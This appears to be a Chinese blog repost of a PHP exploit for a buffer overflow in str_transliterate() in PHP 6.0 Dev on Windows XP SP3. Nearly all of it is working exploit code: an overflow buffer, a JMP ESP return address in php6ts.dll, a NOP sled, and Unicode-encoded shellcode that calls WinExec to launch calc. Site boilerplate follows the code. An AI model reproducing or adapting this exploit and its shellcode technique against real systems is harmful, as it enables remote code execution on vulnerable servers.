1_<?php$str1 = null;,PHP str_transliterate()函数Unicode字符远程溢出漏洞

view sourceprint?<?php

error_reporting(0);

#####################################################################

## PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit

## Tested on WIN XP HEB SP3, Apache, PHP 6.0 Dev

## Buffer Overflow

## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>

## Exploited by TheLeader, Debug

## SP. Thanks: HDM

## http://www.nullbyte.org.il

#####################################################################

## This code should exploits a buffer overflow in the str_transliterate() function to call WinExec and execute CALC

## Take a look, 'unicode.semantics' has to be on!

## php.ini > unicode.semantics = on

#####################################################################

if(ini_get_bool('unicode.semantics')) {

$buff = str_repeat("\u4141", 256);

$eip = "\u1445\u10A9"; # 0x10A91445 JMP ESP @ php6ts.dll

$nops = str_repeat("\u9090", 20);

# WinExec Calc XP SP3 HEB Unicode-encoded shellcode

$shellcode = "\u02EB\u05EB\uF9E8\uFFFF\u33FF\u5BC0\u4388\u8315\u11C3\uBB53\u250D\u7C86\uD3FF\u6163\u636C\u414E";

# WinExec Calc XP SP3 EN Unicode-encoded shellcode (added by muts)

# $shellcode = "\u02EB\u05EB\uF9E8\uFFFF\u33FF\u5BC0\u4388\u8315\u11C3\uBB53\u23AD\u7C86\uD3FF\u6163\u636C\u414E";

$exploit = $buff.$eip.$nops.$shellcode;

str_transliterate(0, $exploit, 0);

} else {

exit("Error! 'unicode.semantics' has be on!\r\n");

}

function ini_get_bool($a) {

$b = ini_get($a);

switch (strtolower($b)) {

case 'on':

case 'yes':

case 'true':

return 'assert.active' !== $a;

case 'stdout':

case 'stderr':

return 'display_errors' === $a;

default:

return (bool) (int) $b;

}

}

?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值